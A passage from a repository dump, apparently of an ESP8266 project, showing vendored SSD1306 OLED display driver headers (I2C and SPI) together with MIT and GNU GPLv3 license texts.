maxBoundY; y++) {\n\t\t\tuint8_t *start = &buffer[(minBoundX + y * this->width())-1];\n\t\t\tuint8_t save = *start;\n\t\t\t\n\t\t\t*start = 0x40; // control\n\t\t\t_i2c->write(_address, (char *)start, (maxBoundX-minBoundX) + 1 + 1);\n\t\t\t*start = save;\n\t\t}\n#else\n\n        sendCommand(COLUMNADDR);\n        sendCommand(x_offset);\t\t\t\t\t\t// column start address (0 = reset)\n        sendCommand(x_offset + (this->width() - 1));// column end address (127 = reset)\n\n        sendCommand(PAGEADDR);\n        sendCommand(0x0);\t\t\t\t\t\t\t// page start address (0 = reset)\n\n        if (geometry == GEOMETRY_128_64) {\n          sendCommand(0x7);\n        } else if (geometry == GEOMETRY_128_32) {\n          sendCommand(0x3);\n        }\n\n\t\tbuffer[-1] = 0x40; // control\n\t\t_i2c->write(_address, (char *)&buffer[-1], displayBufferSize + 1);\n#endif\n    }\n\nprivate:\n\tint getBufferOffset(void) {\n\t\treturn 0;\n\t}\n\n    inline void sendCommand(uint8_t command) __attribute__((always_inline)) {\n\t\tchar _data[2];\n\t  \t_data[0] = 0x80; // control\n\t  \t_data[1] = command;\n\t  \t_i2c->write(_address, _data, sizeof(_data));\n    }\n\n\tuint8_t             _address;\n\tPinName             _sda;\n\tPinName             _scl;\n\tI2C *_i2c;\n};\n\n#endif\n\n#endif\n"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SSD1306Spi.h",
    "content": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice Weinberg\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * ThingPulse invests considerable time and money to develop these open source libraries.\n * Please support us by buying our products (and not the clones) from\n * https://thingpulse.com\n *\n */\n\n#ifndef SSD1306Spi_h\n#define SSD1306Spi_h\n\n#include \"OLEDDisplay.h\"\n#include <SPI.h>\n\n#if F_CPU == 160000000L\n  #define BRZO_I2C_SPEED 1000\n#else\n  #define BRZO_I2C_SPEED 800\n#endif\n\nclass SSD1306Spi : public OLEDDisplay {\n  private:\n      uint8_t             _rst;\n      uint8_t             _dc;\n      uint8_t             _cs;\n\n  public:\n    SSD1306Spi(uint8_t _rst, uint8_t _dc, uint8_t _cs, OLEDDISPLAY_GEOMETRY g = GEOMETRY_128_64) {\n        setGeometry(g);\n\n      this->_rst = _rst;\n      this->_dc  = _dc;\n      this->_cs  = _cs;\n    }\n\n    bool connect(){\n      pinMode(_dc, OUTPUT);\n      pinMode(_cs, OUTPUT);\n      pinMode(_rst, OUTPUT);\n\n      SPI.begin ();\n      SPI.setClockDivider (SPI_CLOCK_DIV2);\n\n      // Pulse Reset low for 10ms\n      digitalWrite(_rst, HIGH);\n      delay(1);\n      digitalWrite(_rst, LOW);\n      delay(10);\n      digitalWrite(_rst, HIGH);\n      return true;\n    }\n\n    void display(void) {\n    #ifdef OLEDDISPLAY_DOUBLE_BUFFER\n       uint8_t minBoundY = UINT8_MAX;\n       uint8_t maxBoundY = 0;\n\n       uint8_t minBoundX = UINT8_MAX;\n       uint8_t maxBoundX = 0;\n\n       uint8_t x, y;\n\n       // Calculate the Y bounding box of changes\n       // and copy buffer[pos] to buffer_back[pos];\n       for (y = 0; y < (displayHeight / 8); y++) {\n         for (x = 0; x < displayWidth; x++) {\n          uint16_t pos = x + y * displayWidth;\n          if (buffer[pos] != buffer_back[pos]) {\n            minBoundY = _min(minBoundY, y);\n            maxBoundY = _max(maxBoundY, y);\n            minBoundX = _min(minBoundX, x);\n            maxBoundX = _max(maxBoundX, x);\n          }\n          buffer_back[pos] = buffer[pos];\n        }\n        yield();\n       }\n\n       // If the minBoundY wasn't updated\n       // we can savely assume that buffer_back[pos] == buffer[pos]\n       // holdes true for all values of pos\n       if (minBoundY == UINT8_MAX) return;\n\n       sendCommand(COLUMNADDR);\n       sendCommand(minBoundX);\n       sendCommand(maxBoundX);\n\n       sendCommand(PAGEADDR);\n       sendCommand(minBoundY);\n       sendCommand(maxBoundY);\n\n       digitalWrite(_cs, HIGH);\n       digitalWrite(_dc, HIGH);   // data mode\n       digitalWrite(_cs, LOW);\n       for (y = minBoundY; y <= maxBoundY; y++) {\n         for (x = minBoundX; x <= maxBoundX; x++) {\n           SPI.transfer(buffer[x + y * displayWidth]);\n         }\n         yield();\n       }\n       digitalWrite(_cs, HIGH);\n     #else\n       // No double buffering\n       sendCommand(COLUMNADDR);\n       sendCommand(0x0);\n       sendCommand(0x7F);\n\n       sendCommand(PAGEADDR);\n       sendCommand(0x0);\n\n       if (geometry == GEOMETRY_128_64) {\n         sendCommand(0x7);\n       } else if (geometry == GEOMETRY_128_32) {\n         sendCommand(0x3);\n       }\n\n        digitalWrite(_cs, HIGH);\n        digitalWrite(_dc, HIGH);   // data mode\n        digitalWrite(_cs, LOW);\n        for (uint16_t i=0; i<displayBufferSize; i++) {\n          SPI.transfer(buffer[i]);\n          yield();\n        }\n        digitalWrite(_cs, HIGH);\n     #endif\n    }\n\n  private:\n\tint getBufferOffset(void) {\n\t\treturn 0;\n\t}\n    inline void sendCommand(uint8_t com) __attribute__((always_inline)){\n      digitalWrite(_cs, HIGH);\n      digitalWrite(_dc, LOW);\n      digitalWrite(_cs, LOW);\n      SPI.transfer(com);\n      digitalWrite(_cs, HIGH);\n    }\n};\n\n#endif\n"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/SSD1306Wire.h",
    "content": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice Weinberg\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * ThingPulse invests considerable time and money to develop these open source libraries.\n * Please support us by buying our products (and not the clones) from\n * https://thingpulse.com\n *\n */\n\n#ifndef SSD1306Wire_h\n#define SSD1306Wire_h\n\n#include \"OLEDDisplay.h\"\n#include <Wire.h>\n\n#ifdef ARDUINO_ARCH_AVR\n#define _min\tmin\n#define _max\tmax\n#endif\n\nclass SSD1306Wire : public OLEDDisplay {\n  private:\n      uint8_t             _address;\n      uint8_t             _sda;\n      uint8_t             _scl;\n      bool                _doI2cAutoInit = false;\n\n  public:\n    SSD1306Wire(uint8_t _address, uint8_t _sda, uint8_t _scl, OLEDDISPLAY_GEOMETRY g = GEOMETRY_128_64) {\n      setGeometry(g);\n\n      this->_address = _address;\n      this->_sda = _sda;\n      this->_scl = _scl;\n    }\n\n    bool connect() {\n#ifdef ARDUINO_ARCH_AVR \n      Wire.begin();\n#else\n      Wire.begin(this->_sda, this->_scl);\n#endif\n      // Let's use ~700khz if ESP8266 is in 160Mhz mode\n      // this will be limited to ~400khz if the ESP8266 in 80Mhz mode.\n      Wire.setClock(700000);\n      return true;\n    }\n\n    void display(void) {\n      initI2cIfNeccesary();\n      const int x_offset = (128 - this->width()) / 2;\n      #ifdef OLEDDISPLAY_DOUBLE_BUFFER\n        uint8_t minBoundY = UINT8_MAX;\n        uint8_t maxBoundY = 0;\n\n        uint8_t minBoundX = UINT8_MAX;\n        uint8_t maxBoundX = 0;\n        uint8_t x, y;\n\n        // Calculate the Y bounding box of changes\n        // and copy buffer[pos] to buffer_back[pos];\n        for (y = 0; y < (this->height() / 8); y++) {\n          for (x = 0; x < this->width(); x++) {\n           uint16_t pos = x + y * this->width();\n           if (buffer[pos] != buffer_back[pos]) {\n             minBoundY = _min(minBoundY, y);\n             maxBoundY = _max(maxBoundY, y);\n             minBoundX = _min(minBoundX, x);\n             maxBoundX = _max(maxBoundX, x);\n           }\n           buffer_back[pos] = buffer[pos];\n         }\n         yield();\n        }\n\n        // If the minBoundY wasn't updated\n        // we can savely assume that buffer_back[pos] == buffer[pos]\n        // holdes true for all values of pos\n\n        if (minBoundY == UINT8_MAX) return;\n\n        sendCommand(COLUMNADDR);\n        sendCommand(x_offset + minBoundX);\n        sendCommand(x_offset + maxBoundX);\n\n        sendCommand(PAGEADDR);\n        sendCommand(minBoundY);\n        sendCommand(maxBoundY);\n\n        byte k = 0;\n        for (y = minBoundY; y <= maxBoundY; y++) {\n          for (x = minBoundX; x <= maxBoundX; x++) {\n            if (k == 0) {\n              Wire.beginTransmission(_address);\n              Wire.write(0x40);\n            }\n\n            Wire.write(buffer[x + y * this->width()]);\n            k++;\n            if (k == 16)  {\n              Wire.endTransmission();\n              k = 0;\n            }\n          }\n          yield();\n        }\n\n        if (k != 0) {\n          Wire.endTransmission();\n        }\n      #else\n\n        sendCommand(COLUMNADDR);\n        sendCommand(x_offset);\n        sendCommand(x_offset + (this->width() - 1));\n\n        sendCommand(PAGEADDR);\n        sendCommand(0x0);\n\n        if (geometry == GEOMETRY_128_64) {\n          sendCommand(0x7);\n        } else if (geometry == GEOMETRY_128_32) {\n          sendCommand(0x3);\n        }\n\n        for (uint16_t i=0; i < displayBufferSize; i++) {\n          Wire.beginTransmission(this->_address);\n          Wire.write(0x40);\n          for (uint8_t x = 0; x < 16; x++) {\n            Wire.write(buffer[i]);\n            i++;\n          }\n          i--;\n          Wire.endTransmission();\n        }\n      #endif\n    }\n\n    void setI2cAutoInit(bool doI2cAutoInit) {\n      _doI2cAutoInit = doI2cAutoInit;\n    }\n\n  private:\n\tint getBufferOffset(void) {\n\t\treturn 0;\n\t}\n    inline void sendCommand(uint8_t command) __attribute__((always_inline)){\n      initI2cIfNeccesary();\n      Wire.beginTransmission(_address);\n      Wire.write(0x80);\n      Wire.write(command);\n      Wire.endTransmission();\n    }\n\n    void initI2cIfNeccesary() {\n      if (_doI2cAutoInit) {\n#ifdef ARDUINO_ARCH_AVR \n      \tWire.begin();\n#else\n      \tWire.begin(this->_sda, this->_scl);\n#endif\n      }\n    }\n\n};\n\n#endif\n"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/license",
    "content": "The MIT License (MIT)\n\nCopyright (c) 2016 by Daniel Eichhorn\nCopyright (c) 2016 by Fabrice Weinberg\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\nSee more at http://blog.squix.ch\n"
  },
  {
    "path": "esp8266_deauther/src/my92xx-3.0.3/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not 